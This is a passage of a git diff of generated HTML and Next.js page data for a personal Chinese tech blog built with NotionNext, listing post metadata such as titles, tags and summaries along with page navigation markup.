7404896b7eb6","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","041a3743-f888-4476-b947-fff856745c02","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","93032c73-435f-4a73-8087-b71ecff3a86b","973ede9c-1a10-4482-be06-324fd481d34f","163026f4-445a-4595-936d-c0df491c3776","d43cadd5-38cc-48ce-a44d-188a8215cd7d","b4a852c3-8bab-43ef-b748-8dec9d0940f9","463a12f0-d5d5-4492-bb0f-8058cea32a41","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","e02c27c7-0d8f-4899-ac46-99fcbde4d8e2","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","4194acae-3f4b-4c08-98b9-907a0b5bd4b9","7197aec6-6a63-4199-be46-fe41dbe963bc","5263856d-837a-4f2d-bfc6-24cbff6c946c","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","07268062-6524-4c7a-a123-1bf8f2b1dc97","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","535eb3f6-3ba4-436a-bb1a-98afa49aca4a","f3550fb0-346c-4212-b57f-86433738b50b","61e7385c-af01-4fb5-a3d1-20604e42144e","2255c884-c803-463b-86ed-ac605dbdb20d","07ffc04a-9fef-4589-93f1-7999e2ac60ff","6010106b-54da-4540-8532-04f407ec4543","1ffb90ba-821d-4d16-8520-e46604a470d7","adc7c47b-6dd7-439f-9e06-6075256c91a7","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","898cec8f-fd58-426a-9065-696d924d6dd6","69787376-afa9-4f5b-9230-dbfcde06209d","9e017f37-5917-4cda-afb8-92072abdbdba","8aafeb2c-85b4-4c4e-af36-3b9efacb167c","6d0e0705-57f3-4223-8745-a27295245029","dec89a30-7004-499f-a99e-05b2842cad2b","7efc83d4-2645-4578-b588-a9cffb15524a","1769e8de-bebe-4687-a28a-34c15859ed98","203f2c30-a3cd-4f70-95b3-07df9f996428","2a0b435c-6f77-4db8-be6b-831d177bd762","eac01009-c323-46fd-8339-09c282e6597e","c4b37f96-4ab0-4a0b-a16e-55bac3e32990","4ad5c69e-0dab-4d66-b548-360da7d53568","72d89744-ac04-4dd4-be8b-9d629acd7c11","32dc3358-e954-4934-9e71-cf1dfbca5b91","961e45bd-8bed-4ebc-b3d8-1f0e63736d04"],"query2":{"aggregations":[{"property":"title","aggregator":"count"}]},"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"818d9fe2-a27d-40ec-b827-614939109ca4":{"value":{"id":"818d9fe2-a27d-40ec-b827-614939109ca4","version":1,"type":"gallery","format":{"gallery_cover":{"type":"page_cover"},"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"hidden":true,"property":"bB{M"}],"gallery_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"sD^m"},{"visible":false,"property":"`gQ~"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"ad494b39-a38c-415e-9221-325f0f9be280":{"value":{"id":"ad494b39-a38c-415e-9221-325f0f9be280","version":1,"type":"board","format":{"board_columns":[{"value":{"type":"select","value":"Draft"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Invisible"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select","value":"Published"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"value":{"type":"select"},"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"}],"board_columns_by":{"sort":{"type":"manual"},"type":"select","property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},"board_properties":[{"visible":true,"property":"title"},{"visible":true,"property":"bB{M"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"wz|S"},{"visible":false,"property":"NX\\Q"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"},{"visible":false,"property":"d]hq"},{"visible":false,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":false,"property":"`gQ~"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"},"58c6fb90-5030-4627-8bad-38b57c3253cd":{"value":{"id":"58c6fb90-5030-4627-8bad-38b57c3253cd","version":25,"type":"list","name":"","format":{"list_properties":[{"visible":true,"property":"NX\\Q"},{"visible":true,"property":"d]hq"},{"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"visible":true,"property":"sD^m"},{"visible":true,"property":"`gQ~"},{"visible":false,"property":"wz|S"},{"visible":false,"property":"bB{M"},{"visible":false,"property":"Dj]h"},{"visible":false,"property":"@NcA"}],"table_properties":[{"width":100,"visible":true,"property":"`gQ~"},{"width":116,"visible":true,"property":"bB{M"},{"width":142,"visible":true,"property":"sD^m"},{"width":219,"visible":true,"property":"title"},{"width":100,"visible":true,"property":"f211bdc0-ee00-4186-9a7d-f68c055ec2ee"},{"width":155,"visible":true,"property":"d]hq"},{"width":352,"visible":true,"property":"wz|S"},{"width":111,"visible":true,"property":"NX\\Q"},{"width":100,"visible":true,"property":"@NcA"},{"width":117,"visible":true,"property":"Dj]h"}],"collection_groups":[{"value":{"type":"select","value":"心情随笔"},"property":"bB{M"},{"value":{"type":"select","value":"技术分享"},"property":"bB{M"},{"value":{"type":"select","value":"知行合一"},"property":"bB{M"},{"value":{"type":"select"},"property":"bB{M"},{"value":{"type":"select","value":"未发布"},"hidden":false,"property":"bB{M"}],"collection_group_by":{"sort":{"type":"manual"},"type":"select","property":"bB{M"},"table_subitem_toggle_column":"title"},"parent_id":"87ff73a8-1273-4f5f-96c1-cd1becb07207","parent_table":"block","alive":true,"page_sort":["aac975a5-3e4f-4274-b064-aec9a24b48be","bb12e5eb-3f93-4fc7-ba98-c634aeab570c","69787376-afa9-4f5b-9230-dbfcde06209d","07268062-6524-4c7a-a123-1bf8f2b1dc97","4fae0653-be7f-4e10-91de-344f6c6d0a6b","163026f4-445a-4595-936d-c0df491c3776","973ede9c-1a10-4482-be06-324fd481d34f","47aba706-2cde-4eef-9fb8-0cdd0f7805c9","d43cadd5-38cc-48ce-a44d-188a8215cd7d","93032c73-435f-4a73-8087-b71ecff3a86b","041a3743-f888-4476-b947-fff856745c02","95ddf5c1-569e-4c61-a1e8-6507fe59fc97","463a12f0-d5d5-4492-bb0f-8058cea32a41","b4a852c3-8bab-43ef-b748-8dec9d0940f9","7d53a42d-ea99-435e-b34c-b08a4c1d5d8d","c555dc5f-766e-4b6d-8adc-711dda06ca9e","f53bfc30-59bb-4890-ba28-0b045040aa5e","5263856d-837a-4f2d-bfc6-24cbff6c946c","7b6c5022-b0db-4dc3-a38e-47cefabe2caf","d88da7cd-eebc-4c92-b9c3-53910376ab83","7d039e15-c906-470d-b781-943032713368","e746c4ee-0327-4529-85ac-7059a10091d3","29e65d89-d04e-4ee3-9a9d-2f8856ed3055","6234c1b0-c99f-4e13-892c-77dfbbb980dc","6619e16a-8a30-411e-a0d4-3fd724006c63","2e7ee7ca-e5f6-41ae-8886-cdcebbd52a5c","54d97ca6-33d5-40e6-8c8b-0ad4a4e9a0bf","d3216be6-1b27-40e7-8677-7404896b7eb6","3505b511-076b-47a7-aa1a-95e702c54e6b","ce6b6618-a118-4ee9-b74c-33a848d0f0ed","f6073c5c-d5a8-464d-90e1-2b13358989d7","463a3c80-4e43-42d9-b436-1299d00df6b2","026c5c21-3604-4c0a-a13c-ccb9208e4815","38e3f997-dad9-46b8-99bb-d3042488821f","7e13a286-a275-4f48-b9d0-416c9b1368ce","c400684e-4c92-4f33-a95c-fa250a356d9b"],"space_id":"eb3e1328-8f32-4ff5-8d18-8ea80020e175"},"role":"comment_only"}},"notion_user":{},"collection_query":{},"signed_urls":{}}},"prev":{"id":"d3216be6-1b27-40e7-8677-7404896b7eb6","date":{"start_date":"2024-01-18"},"type":"Post","category":"心情随笔","slug":"article/example","tags":["建站","文字","推荐"],"summary":"这是示例的文章摘要,摘要内容可被用做搜索,预览。文章列表默认展示概要;若要在列表直接展示文章内容,可在blog.config.js中配置。","title":"示例文章","status":"Published","publishDate":1705536000000,"publishDay":"Jan 18, 2024","lastEditedDate":"2024-01-19T06:18:08.580Z","lastEditedDay":"Jan 19, 2024","fullWidth":false,"pageIcon":"🗓️","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=d3216be6-1b27-40e7-8677-7404896b7eb6\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"文字","color":"brown"},{"name":"推荐","color":"red"}],"password":""},"next":{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},"recommendPosts":[{"id":"e8fd9138-663d-415d-9684-24343fb3248f","date":{"start_date":"2024-03-25","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240325-ollama","tags":["工具","推荐","折腾"],"summary":"m1 pro芯片+32g体验了五种大模型本地部署","title":"mac体验ollama本地大模型","status":"Published","publishDate":1711324800000,"publishDay":"Mar 25, 2024","lastEditedDate":"2024-03-26T05:49:00.447Z","lastEditedDay":"Mar 26, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","pageCoverThumbnail":"https://source.unsplash.com/random?t=e8fd9138-663d-415d-9684-24343fb3248f","tagItems":[{"name":"工具","color":"pink"},{"name":"推荐","color":"red"},{"name":"折腾","color":"purple"}],"password":""},{"id":"e013510c-b3a7-4907-b4cd-118b118d30db","date":{"start_date":"2024-03-20","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240320-arthas","tags":["工具","开发","推荐"],"summary":"Arthas在排查Java应用线上问题的时候有大用处,并且可以是热部署工具,这里我推荐几个我常用的方法","title":"Arthas简单使用备忘录","status":"Published","publishDate":1710892800000,"publishDay":"Mar 20, 2024","lastEditedDate":"2024-03-20T04:52:10.213Z","lastEditedDay":"Mar 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","pageCoverThumbnail":"https://source.unsplash.com/random?t=e013510c-b3a7-4907-b4cd-118b118d30db","tagItems":[{"name":"工具","color":"pink"},{"name":"开发","color":"pink"},{"name":"推荐","color":"red"}],"password":""},{"id":"7e13a286-a275-4f48-b9d0-416c9b1368ce","date":{"start_date":"2024-03-19","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240319-xmrig","tags":["建站","推荐","开发"],"summary":"叮咚!阿里云提示你,你的服务器正在被攻击!","title":"Xmrig挖矿入侵服务器排查","status":"Published","publishDate":1710806400000,"publishDay":"Mar 19, 2024","lastEditedDate":"2024-03-19T17:15:42.884Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","pageCoverThumbnail":"https://source.unsplash.com/random?t=7e13a286-a275-4f48-b9d0-416c9b1368ce","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"开发","color":"pink"}],"password":""},{"id":"38e3f997-dad9-46b8-99bb-d3042488821f","date":{"start_date":"2024-01-24","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240124-deploy","tags":["推荐","工具","自动化","微服务"],"summary":"微服务jar包越来越多,每次手动上线的时候都要运行一大堆命令,并且每个人备份的jar包名称目录都不一样。故写了一个脚本规定死流程,并且把脚本配置到环境变量做自动补全。","title":"Java部署脚本\u0026重启备份检查\u0026配置环境","status":"Published","publishDate":1706054400000,"publishDay":"Jan 24, 2024","lastEditedDate":"2024-01-24T07:18:46.139Z","lastEditedDay":"Jan 24, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","pageCoverThumbnail":"https://source.unsplash.com/random?t=38e3f997-dad9-46b8-99bb-d3042488821f","tagItems":[{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"自动化","color":"blue"},{"name":"微服务","color":"red"}],"password":""},{"id":"026c5c21-3604-4c0a-a13c-ccb9208e4815","date":{"start_date":"2024-01-21","date_format":"relative"},"type":"Post","category":"技术分享","slug":"article/240121-skywaking","tags":["推荐","开发","日志","微服务","spring","skywalking"],"summary":"一年半以前,公司就从单体应用逐步迁移到微服务管理。奈何业务绑定太深,一直在两边混合开发。由于迁移到微服务的进程完成了一大半了,之前在单体项目中打的链路追踪就不太好用了。随即想到了SkyWalking,随即发现了一个大坑,那就是在gateway组件中logback日志会丢失TraceId,网上搜了一圈都没有解决问题,我又跑到SkyWalking的issue中搜了一大圈,发现大佬以下回答,还是得自己想办法。","title":"解决SkyWalking在gateway中logback链路丢失","status":"Published","publishDate":1705795200000,"publishDay":"Jan 21, 2024","lastEditedDate":"2024-01-20T18:52:32.627Z","lastEditedDay":"Jan 20, 2024","fullWidth":false,"pageIcon":"🗒️","pageCover":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","pageCoverThumbnail":"https://source.unsplash.com/random?t=026c5c21-3604-4c0a-a13c-ccb9208e4815","tagItems":[{"name":"推荐","color":"red"},{"name":"开发","color":"pink"},{"name":"日志","color":"red"},{"name":"微服务","color":"red"},{"name":"spring","color":"purple"},{"name":"skywalking","color":"blue"}],"password":""},{"id":"ce6b6618-a118-4ee9-b74c-33a848d0f0ed","date":{"time_zone":"Asia/Shanghai","start_date":"2024-01-19","start_time":"13:00"},"type":"Post","category":"技术分享","slug":"article/240119-notion","tags":["建站","推荐","工具","docker","自动化","折腾","git"],"summary":"之前一直使用GitPage+typora+hexo来做文章分享管理,奈何真的麻烦坚持不下去了。Notion是我一直在使用的笔记软件,为了更好的使用Notion我还去看了许多文章。现在Notion已经是我生活的一部分了。最近发现NotionNext,但需要Vercel部署,还需要自己映射域名。所以想着用xx.github.io域名,优雅又方便","title":"Notion文章自动同步GitPage","status":"Published","publishDate":1705622400000,"publishDay":"Jan 19, 2024","lastEditedDate":"2024-03-19T17:14:00.935Z","lastEditedDay":"Mar 19, 2024","fullWidth":false,"pageIcon":"📗","pageCover":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=85\u0026fm=jpg\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed","pageCoverThumbnail":"https://images.unsplash.com/photo-1511379938547-c1f69419868d?ixlib=rb-4.0.3\u0026q=50\u0026fm=webp\u0026crop=entropy\u0026cs=srgb\u0026t=ce6b6618-a118-4ee9-b74c-33a848d0f0ed\u0026width=800\u0026fmt=webp","tagItems":[{"name":"建站","color":"brown"},{"name":"推荐","color":"red"},{"name":"工具","color":"pink"},{"name":"docker","color":"gray"},{"name":"自动化","color":"blue"},{"name":"折腾","color":"purple"},{"name":"git","color":"default"}],"password":""}]},"__N_SSG":true},"page":"/[prefix]/[slug]","query":{"prefix":"article","slug":"example-3"},"buildId":"mm0_cWkCfdum_vxo9wL_b","runtimeConfig":{"NODE_ENV_API":"prod","THEMES":["example","fukasawa","gitbook","heo","hexo","matery","medium","nav","next","nobelium","plog","simple"]},"isFallback":false,"dynamicIds":[10635],"gsp":true,"scriptLoader":[]}</script></body></html>
\ No newline at end of file
diff --git a/article/example-4.html b/article/example-4.html
index 973551b97..c88ef9af8 100644
--- a/article/example-4.html
+++ b/article/example-4.html
@@ -1,4 +1,4 @@
-<!DOCTYPE html><html lang="zh-CN"><head><title>绑定成功测试-4 | Both Savage</title><meta name="theme-color" content="#000000"/><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=5.0, minimum-scale=1.0"/><meta name="robots" content="follow, index"/><meta charSet="UTF-8"/><meta name="keywords" content="健康,推荐"/><meta name="description" content="如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。"/><meta property="og:locale" content="en_US"/><meta property="og:title" content="绑定成功测试-4 | Both Savage"/><meta property="og:description" content="如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。"/><meta property="og:url" content="https://bothsavage.github.io//article/example-4"/><meta property="og:image" content="https://images.unsplash.com/photo-1671726203449-34e89df45211?ixlib=rb-4.0.3&amp;q=50&amp;fm=webp&amp;crop=entropy&amp;cs=srgb&amp;t=93032c73-435f-4a73-8087-b71ecff3a86b&amp;width=800&amp;fmt=webp"/><meta property="og:site_name" content="Both Savage"/><meta property="og:type" content="Post"/><meta name="twitter:card" content="summary_large_image"/><meta name="twitter:description" content="如果您的Notion数据库已经修改了内容,发现网站内容还是旧的,说明绑定NotionPageID失败了,请重新检查Vercel后台是否正确配置好ID,并尝试重新部署。"/><meta name="twitter:title" content="绑定成功测试-4 | Both Savage"/><meta name="referrer" content="no-referrer-when-downgrade"/><meta property="article:published_time"/><meta property="article:author" content="Both Savage"/><meta property="article:section" content="未"/><meta property="article:publisher"/><meta name="next-head-count" content="22"/><link rel="icon" href="/favicon.ico"/><link rel="preload" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" as="style" crossorigin="anonymous"/><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.4.0/css/all.min.css" crossorigin="anonymous" referrerPolicy="no-referrer"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css?family=Bitter&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Sans+SC:wght@300&amp;display=swap"/><link rel="preload" as="font" type="font/woff2" data-href="https://fonts.googleapis.com/css2?family=Noto+Serif+SC:wght@300&amp;display=swap"/><link data-next-font="" rel="preconnect" href="/" crossorigin="anonymous"/><link rel="preload" href="/_next/static/css/06c69360ab4a808f.css" as="style" crossorigin=""/><link rel="stylesheet" href="/_next/static/css/06c69360ab4a808f.css" crossorigin="" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" crossorigin="" nomodule="" src="/_next/static/chunks/polyfills-c67a75d1b6f99dc8.js"></script><script defer="" src="/_next/static/chunks/3607272e.930e8446c6ba44e1.js" crossorigin=""></script><script defer="" src="/_next/static/chunks/85853.7b82235f14365c08.js" crossorigin=""></script><script src="/_next/static/chunks/webpack-3c2098fe4d6464d4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/framework-b7fa4bf8e1ae99a1.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/main-30e956e31ac22080.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/_app-e7616ab64265e571.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/88495-859c98bd25cf70c4.js" defer="" crossorigin=""></script><script src="/_next/static/chunks/pages/%5Bprefix%5D/%5Bslug%5D-5b13cd8bd4bab6aa.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_buildManifest.js" defer="" crossorigin=""></script><script src="/_next/static/xl8RIHPvivYKGN-nsdmr6/_ssgManifest.js" defer="" crossorigin=""></script><style id="__jsx-763a7ba965151bca">.dark body{background-color:black}</style></head><body class="font-sans font-light scroll-smooth"><div id="__next"><div id="theme-gitbook" class="bg-white dark:bg-hexo-black-gray w-full h-full min-h-screen justify-center dark:text-gray-300"><div id="top-nav" class="fixed top-0 w-full z-40 undefined"><div style="height:0px;will-change:height" class="md:hidden overflow-hidden duration-200 "><div class="bg-white dark:bg-hexo-black-gray pt-1 py-2 lg:hidden "><nav id="nav" class=" text-md"><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><a target="_blank" class="py-2 w-full my-auto items-center justify-between flex  " href="https://github.com/BOTHSAVAGE"><div><div class="fab fa-github text-center w-4 mr-4"></div>Github</div></a></div><div class="hover:text-green-600 px-7 w-full text-left duration-200 dark:bg-hexo-black-gray dark:border-black"><div class="py-2 font-extralight flex justify-between cursor-pointer  dark:text-gray-200 no-underline tracking-widest"><div><div class="fas fa-archive text-center w-4 mr-4"></div>往期整理</div><div class="inline-flex items-center "><i class="px-2 fas fa-chevron-right transition-all duration-200 "></i></div></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/archive"><div><div class="fas fa-clock-rotate-left text-center w-3 mr-3 text-xs"></div>历史归档</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/category"><div><div class="fas fa-th text-center w-3 mr-3 text-xs"></div>文章分类</div></a></div><div class=" not:last-child:border-b-0 border-b dark:border-gray-800 py-2 px-14 cursor-pointer hover:bg-gray-100 dark:text-gray-200 font-extralight dark:bg-black text-left justify-start text-gray-600 bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200"><a target="_self" href="/tag"><div><div class="fas fa-tag text-center w-3 mr-3 text-xs"></div>文章标签</div></a></div></div></nav></div></div><div class="flex w-full h-14 shadow glassmorphism bg-white dark:bg-hexo-black-gray px-7 items-between"><div id="top-wrapper" class="w-full flex items-center"><div class="cursor-pointer md:hidden text-xl pr-3 hover:scale-110 duration-150"><i class="fa-solid fa-indent"></i></div><a class="flex text-md md:text-xl dark:text-gray-200" href="/"><img src="data:image/gif;base64,R0lGODlhAQABAIAAAP///wAAACH5BAEAAAAALAAAAAABAAEAAAICRAEAOw==" alt="Both Savage" width="24" height="24" class="mr-2 hidden md:block"/>Both Savage</a></div><div class="mr-1 flex md:hidden justify-end items-center space-x-4 font-serif dark:text-gray-200"><div class="flex text-md items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div><div class="cursor-pointer text-lg hover:scale-110 duration-150"><i class="fa-solid fa-ellipsis-vertical"></i></div></div><div class="hidden md:flex"><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><a target="_blank" href="https://github.com/BOTHSAVAGE"><i class="fab fa-github"></i> <!-- -->Github</a></div></li><li class="cursor-pointer list-none items-center flex mx-2"><div class="px-2 h-full whitespace-nowrap duration-300 text-sm justify-between dark:text-gray-300 cursor-pointer flex flex-nowrap items-center hover:text-green-600"><div><i class="fas fa-archive"></i> <!-- -->往期整理<i class="px-2 fas fa-chevron-down duration-500 transition-all "></i></div></div><ul class="invisible opacity-0 top-10  border-gray-100  bg-white  dark:bg-black dark:border-gray-800 transition-all duration-300 z-20 absolute block drop-shadow-lg "><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/archive"><span class="text-xs font-extralight"><i class="fas fa-clock-rotate-left">   </i>历史归档</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/category"><span class="text-xs font-extralight"><i class="fas fa-th">   </i>文章分类</span></a></li><li class="not:last-child:border-b-0 border-b text-gray-700 dark:text-gray-200  hover:bg-gray-50 dark:hover:bg-gray-900 tracking-widest transition-all duration-200  dark:border-gray-800 py-3 pr-6 pl-3"><a target="_self" href="/tag"><span class="text-xs font-extralight"><i class="fas fa-tag">   </i>文章标签</span></a></li></ul></li><div class="text-sm flex items-center h-full flex justify-center dark:text-gray-200 text-gray-800"><div id="darkModeButton" class=" hover:scale-110 cursor-pointer transform duration-200 w-5 h-5"> <svg xmlns="http://www.w3.org/2000/svg" fill="none" viewBox="0 0 24 24" stroke-width="1.5" stroke="currentColor"><path stroke-linecap="round" stroke-linejoin="round" d="M21.752 15.002A9.718 9.718 0 0118 15.75c-5.385 0-9.75-4.365-9.75-9.75 0-1.33.266-2.597.748-3.752A9.753 9.753 0 003 11.25C3 16.635 7.365 21 12.75 21a9.753 9.753 0 009.002-5.998z"></path></svg></div></div></div></div></div><main id="wrapper" class="relative flex justify-between w-full h-full mx-auto"><div class="font-sans hidden md:block border-r dark:border-transparent relative z-10 "><div class="w-72 py-14 px-6 sticky top-0 overflow-y-scroll h-screen scroll-hidden"><div class="flex w-full"><input type="text" class="my-3 rounded-md outline-none w-full text-sm pl-2 transition focus:shadow-lg font-light leading-10 text-black bg-gray-100 dark:bg-gray-900 dark:text-white"/><div class="flex -ml-8 cursor-pointer float-right items-center justify-center py-2"><i class="hover:text-black transform duration-200 text-gray-500  dark:hover:text-gray-300 cursor-pointer fas fa-search"></i></div></div><div class="mb-20"><div id="posts-wrapper" class="w-full flex-grow"><div class="select-none flex justify-between text-sm font-sans cursor-pointer p-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600"><span>技术分享</span><div class="inline-flex items-center select-none pointer-events-none "><i class="px-2 fas fa-chevron-left transition-all duration-200 -rotate-90"></i></div></div><div style="height:0px;will-change:height" class=" overflow-hidden duration-200 "><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240325-ollama">mac体验ollama本地大模型</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240320-arthas">Arthas简单使用备忘录</a></div></div></div><div class="ml-3 border-l"><div class="text-sm ml-3 py-1 cursor-pointer px-2 hover:bg-gray-50 rounded-md dark:hover:bg-gray-600  "><div class="flex flex-col w-full select-none"><a href="/article/240319-xmrig">Xmrig挖矿入侵服务器排查</a></div></div></div><div class="ml-3 border-l"><div 